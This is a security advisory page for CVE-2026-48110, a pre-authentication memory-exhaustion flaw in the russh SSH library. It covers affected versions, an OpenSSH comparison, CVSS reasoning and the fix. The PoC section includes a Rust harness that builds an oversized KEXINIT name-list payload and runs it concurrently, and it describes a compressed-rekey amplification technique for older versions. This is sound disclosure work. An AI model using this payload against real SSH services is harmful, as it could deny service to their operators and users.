CVE-2026-48110: Russh: SSH message fields were decoded through allocation-first parsers before field-specific bounds

Published Jun 10, 2026
·
Updated

SSH message fields were decoded through allocation-first parsers before field-specific bounds

Summary

Several russh client and server message handlers decoded attacker-controlled SSH strings, name-lists, and byte fields into owned allocations before applying field-specific bounds. A remote SSH peer could send oversized, high-fanout, or malformed length-prefixed fields and make the library allocate, attempt to allocate, or split data before rejecting input that should have been rejected earlier.

Affected Versions

Oldest verified exploitable stable release: russh 0.34.0.

- Historical stronger case: russh >= 0.34.0, < 0.58.0. These releases have the allocation-first KEXINIT field parsing issue and still use CryptoVec for inbound packet/decompression buffers. A peer can combine negotiated RFC zlib, rekey, compressed KEXINIT expansion, historical CryptoVec decompression growth, and KEXINIT name-list fanout. - Current maintained-line case: russh >= 0.58.0, including 0.60.2. These releases moved non-secret packet/decompression buffers off CryptoVec, but the allocation-first SSH field parser issue remains reachable as a Vec/String/name-list resource exhaustion issue.

Prerelease coverage was not claimed for the zlib/CryptoVec/KEXINIT combo because the combined historical exploit shape was verified against stable v0.34.0-era code and reproduced the stress behavior on v0.57.1.

Details

The affected parser pattern appeared across the SSH transport and encrypted-message parser code:

- KEX negotiation parsing - client encrypted-message parsing - server encrypted-message parsing - shared SSH parsing helpers

Examples of allocation-first field parsing covered by the fix include:

- KEXINIT name-lists - client USERAUTHFAILURE method lists - client USERAUTHBANNER text fields - client USERAUTHPKOK fields - client EXTINFO extension fields - server SERVICEREQUEST names - server USERAUTHREQUEST header fields - server password/publickey/keyboard-interactive auth fields, excluding the already-submitted prompt-count issue - server and client channel/global request names - server pty, x11, env, exec, subsystem, signal, and forwarding request fields - channel-open-failure description and language fields

Before the fix, these handlers generally used sshencoding::Decode into String, Bytes, Vec, or NameList first, then validated semantics later. For length-prefixed SSH fields, that means the owned decoder can accept an attacker-controlled length prefix and allocate or attempt allocation before discovering that the packet is truncated or above a local field bound. The fix introduces borrowed bounded parsing helpers such as takestr, takebytes, and takenamelist.

RFC / OpenSSH Comparison

RFC 4251 section 5 defines SSH string and name-list encodings. RFC 4253 and RFC 4254 then use those encodings throughout KEX, auth, channel, and forwarding messages. The RFC encoding permits large length prefixes, so implementations need local bounds appropriate to their packet and parser model.

RFC 4251 also says each name inside a name-list is non-empty, cannot contain a comma, and is made of US-ASCII names. RFC 4253 section 7.1 requires the algorithm name-lists in SSHMSGKEXINIT to contain at least one algorithm name, while language name-lists may be empty.

OpenSSH portable commonly parses SSH fields with packet-buffer helpers and then immediately checks message completion:

- openssh-portable: kex.c: kexinputkexinit() / kexbuf2prop() - openssh-portable: auth2.c: USERAUTHREQUEST header parsing - openssh-portable: sshconnect2.c: client auth reply parsing - openssh-portable: serverloop.c: global and channel-open parsing - openssh-portable: session.c: channel request parsing - openssh-portable: packet.c: sshpktgetcstring(), sshpktgetstring(), sshpktgetend()

openssh-portable was checked at 45b30e0a5. OpenSSH generally gets its size safety from the already-bounded packet buffer and sshbuf helpers; it does not always avoid allocating a copied field. The russh patch is stricter in Rust-specific shape by using borrowed bounded helpers where practical, but the protocol alignment is the same: reject oversized or malformed name-lists/strings within a bounded packet parser.

PoC

Inline availability stress PoC: an unauthenticated client sends concurrent SSHMSGKEXINIT payloads with a large but packet-sized first name-list containing many small algorithm names. This reaches the server-side initial key-exchange parser before user authentication and drives allocation-heavy owned decoding and name-list splitting. In a local direct-parser stress harness, 512 concurrent connection-equivalent parser workers parsing this payload eight times each raised process memory from about 4 MiB RSS to about 4.45 GiB RSS:

text threads=512 iterationsperthread=8 totaliterations=4096 payloadbytes=262103 errors=0 elapsedms=5880 VmRSS: 4056 KiB -> 4661032 KiB VmHWM: 4056 KiB -> 4674200 KiB

That concurrency level is material: the multi-GiB result required 512 simultaneous connection-equivalent parser contexts and about 1.02 GiB of total input across the run. The harness exercises the vulnerable pre-auth KEXINIT parser directly rather than opening real sockets, but the parsed bytes are ordinary SSH KEXINIT payload bytes reachable from a remote unauthenticated SSH peer.

Historical pre-0.58.0 amplification note: before 0.58.0, inbound packet and decompression buffers still used CryptoVec. To get the stronger historical growth, the peer must negotiate RFC zlib compression, complete the first key exchange, and then send a compressed rekey SSHMSGKEXINIT carrying the same high-fanout name-list shape. In a v0.57.1 harness, a 652-byte compressed rekey KEXINIT inflated to a 600,103-byte KEXINIT payload, grew the historical CryptoVec decompression output, and then entered the same allocation-heavy KEXINIT name-list parser:

text threads=512 iterationsperthread=2 totaliterations=1024 decompressedpayloadbytes=600103 compressedpayloadbytes=652 errors=0 elapsedms=5606 VmRSS: 5268 KiB -> 1464624 KiB VmHWM: 5268 KiB -> 7014560 KiB

The constrained-memory result is useful because it shows where this becomes a service-killing failure rather than only elevated RSS. With the same historical code path, a roughly 1 KiB compressed rekey KEXINIT can force CryptoVec decompression growth into the parser fanout. Under an address-space limit, the process aborted on allocator failure while trying to satisfy one of the intermediate growth allocations:

text memory allocation of 262144 bytes failed

That historical result combines the field-parser issue in this report with the pre-0.58.0 CryptoVec allocation/growth behavior. The important maintainer takeaway is the amplification shape: very small compressed rekey packets can create much larger historical CryptoVec buffers and then immediately feed the unbounded KEXINIT name-list parser. It is included here to explain historical severity and exploit shape; the separate CryptoVec advisory covers the underlying CryptoVec allocation/growth bug itself.

rust #[test] fn stresskexinitmanynamesmanyconnections() { use std::borrow::Cow; use std::sync::Arc;

use byteorder::{BigEndian, ByteOrder}; use sshkey::Algorithm;

use crate::negotiation::{Preferred, Select, Server}; use crate::{cipher, compression, kex, mac, msg};

fn nocryptopreferred() -> Preferred { Preferred { kex: Cow::Owned(vec![kex::NONE]), key: Cow::Owned(vec![Algorithm::Ed25519]), cipher: Cow::Owned(vec![cipher::NONE]), mac: Cow::Owned(vec![mac::NONE]), compression: Cow::Owned(vec![compression::NONE]), } }

fn encodestring(buf: &mut Vec<u8>, value: &[u8]) { let mut len = [0; 4]; BigEndian::writeu32(&mut len, value.len() as u32); buf.extendfromslice(&len); buf.extendfromslice(value); }

fn kexinitwithkexlist(kexlist: &str) -> Vec<u8> { let mut payload = Vec::new(); payload.push(msg::KEXINIT); payload.extendfromslice(&[0; 16]); encodestring(&mut payload, kexlist.asbytes()); encodestring(&mut payload, b"ssh-ed25519"); encodestring(&mut payload, b"none"); encodestring(&mut payload, b"none"); encodestring(&mut payload, b"none"); encodestring(&mut payload, b"none"); encodestring(&mut payload, b"none"); encodestring(&mut payload, b"none"); encodestring(&mut payload, b""); encodestring(&mut payload, b""); payload.push(0); payload.extendfromslice(&[0; 4]); payload }

fn memorystatus() -> (Option<usize>, Option<usize>) { let Ok(status) = std::fs::readtostring("/proc/self/status") else { return (None, None); }; let mut rss = None; let mut hwm = None; for line in status.lines() { if let Some(value) = line.stripprefix("VmRSS:") { rss = value .splitwhitespace() .next() .andthen(|value| value.parse().ok()); } else if let Some(value) = line.stripprefix("VmHWM:") { hwm = value .splitwhitespace() .next() .andthen(|value| value.parse().ok()); } } (rss, hwm) }

const THREADS: usize = 512; const ITERATIONSPERTHREAD: usize = 8;

let payload = Arc::new(kexinitwithkexlist( &("none,".toowned() + &"a,".repeat(131000) + "a"), )); let preferred = Arc::new(nocryptopreferred()); let barrier = Arc::new(std::sync::Barrier::new(THREADS + 1)); let before = memorystatus(); let start = std::time::Instant::now(); let mut threads = Vec::new();

for in 0..THREADS { let payload = payload.clone(); let preferred = preferred.clone(); let barrier = barrier.clone(); threads.push(std::thread::spawn(move || { barrier.wait(); let mut errors = 0usize; for in 0..ITERATIONSPERTHREAD { if Server::readkex(&payload, &preferred, None, &kex::KexCause::Initial).iserr() { errors += 1; } } errors })); }

barrier.wait(); let errors: usize = threads .intoiter() .map(|thread| thread.join().expect("thread")) .sum(); let after = memorystatus();

eprintln!( "threads={THREADS} perthread={ITERATIONSPERTHREAD} totaliterations={} payloadbytes={} errors={errors} elapsedms={} memorybefore={before:?} memoryafter={after:?}", THREADS ITERATIONSPERTHREAD, payload.len(), start.elapsed().asmillis() ); }

On vulnerable code, this stress harness completed without parser errors and produced the multi-GiB RSS result above. With the fix applied, the same payload is rejected by takenamelist() against the local name-list bound before allocation-heavy parsing or name-list splitting.

I also checked a smaller regression form where the first KEXINIT name-list length prefix is 1048575 but the body is absent. On vulnerable code, that test is red with Err(SshEncoding(Length)) instead of Err(Error::PacketSize()): the owned decoder has already accepted the attacker-controlled name-list length prefix and only fails after trying to read the absent body. With the fix applied, takenamelist() reads the length prefix, rejects it against the local maximum, and returns PacketSize before allocation-heavy parsing or name-list splitting.

The extreme u32::MAX length prefix was checked as a local, uncommitted experiment. In the current dependency set, sshencoding rejects that value as Overflow because its usize length decoder has an internal 1048575 byte cap. The smaller regression form therefore uses 1048575, the maximum accepted prefix value, rather than keeping a 4 GiB allocation attempt in the test suite.

This demonstrates the highest-CVSS reachability for this class: a remote unauthenticated client reaches a server-side parser with a large SSH name-list during initial key exchange. That supports AV:N/AC:L/PR:N/UI:N.

The SERVICEREQUEST variant was checked after key exchange but before user authentication. It has the same allocation-first shape with a tiny packet containing only SSHMSGSERVICEREQUEST plus a 1048575 length prefix, and the vulnerable code returns Err(SshEncoding(Length)) rather than PacketSize. This is supporting evidence for the parser class, but the strongest availability evidence is the KEXINIT name-list fanout PoC above: 512 concurrent pre-auth parser contexts with 262,103-byte KEXINIT payloads drove process RSS from about 4 MiB to about 4.45 GiB.

Impact

Suggested CVSS v3.1:

- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Score: 7.5

Reasoning:

- AV:N: reachable from a remote SSH peer - AC:L: requires only attacker-controlled SSH fields with large or malformed length-prefixed values - PR:N: some affected server-side paths are pre-authentication - UI:N: no user interaction is required - C:N, I:N: no confidentiality or integrity impact demonstrated - A:H: 512 concurrent pre-auth KEXINIT parser contexts with large name-lists drove process RSS above 4 GiB in the direct parser harness, demonstrating a credible service-availability impact under high concurrency

Historical note for releases before 0.58.0: the same high-fanout KEXINIT shape can be combined with negotiated RFC zlib and rekey to reduce wire cost dramatically and drive the old CryptoVec decompression output before the field parser runs. That supports keeping availability at A:H for the historical range as well, with an even stronger resource-amplification story. The demonstrated impact remains availability; no confidentiality, integrity, or RCE impact was demonstrated.

Fix / Patch Direction

Use bounded borrowed parsing helpers for attacker-controlled SSH strings, byte fields, and name-lists before constructing owned values or invoking handlers.

The fix uses:

- takebytes - takestr - takenamelist

Other sources

Russh is a Rust SSH client & server library. From version 0.34.0 to before version 0.61.0, several russh client and server message handlers decoded attacker-controlled SSH strings, name-lists, and byte fields into owned allocations before applying field-specific bounds. A remote SSH peer could send oversized, high-fanout, or malformed length-prefixed fields and make the library allocate, attempt to allocate, or split data before rejecting input that should have been rejected earlier. This issue has been patched in version 0.61.0.

MITRE

Affected Software

2 affected componentsFixes available
crates/russh>=0.34.0<0.61.0
rust/russh>=0.34.0<0.61.0
0.61.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade rust/russh to a version that resolves this vulnerability.

    Fixed in 0.61.0
  2. Configuration

    If you cannot immediately upgrade, or when backporting the fix, change SSH field decoding to read and validate length-prefixed string/bytes/name-list fields using borrowed bounded helpers (take_bytes, take_str, take_name_list) and enforce local bounds before constructing String/Vec/NameList or splitting data. This prevents allocation-first parsing of attacker-controlled fields.

    russh field-parsing = use borrowed bounded parsing helpers (take_bytes, take_str, take_name_list) before allocating owned values

Event History

Jun 10, 2026
CVE Published
via MITRE·08:26 PM
Data Sourced
via MITRE·08:26 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:17 PM
DescriptionSeverityWeakness
Jun 11, 2026
Advisory Published
via GitHub·08:33 PM
Data Sourced
via GitHub·08:33 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-48110?

The severity of CVE-2026-48110 is rated as high with a score of 7.5.

2

What are the potential impacts of CVE-2026-48110?

CVE-2026-48110 allows remote attackers to exploit the vulnerability to bypass input validation and potentially cause denial of service.

3

Which versions are affected by CVE-2026-48110?

CVE-2026-48110 affects Russh versions from 0.34.0 to before 0.61.0.

4

How do I fix CVE-2026-48110?

To remediate CVE-2026-48110, upgrade to Russh version 0.61.0 or later.

5

What systems are vulnerable to CVE-2026-48110?

CVE-2026-48110 impacts systems utilizing the Russh client or server library for SSH communication.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203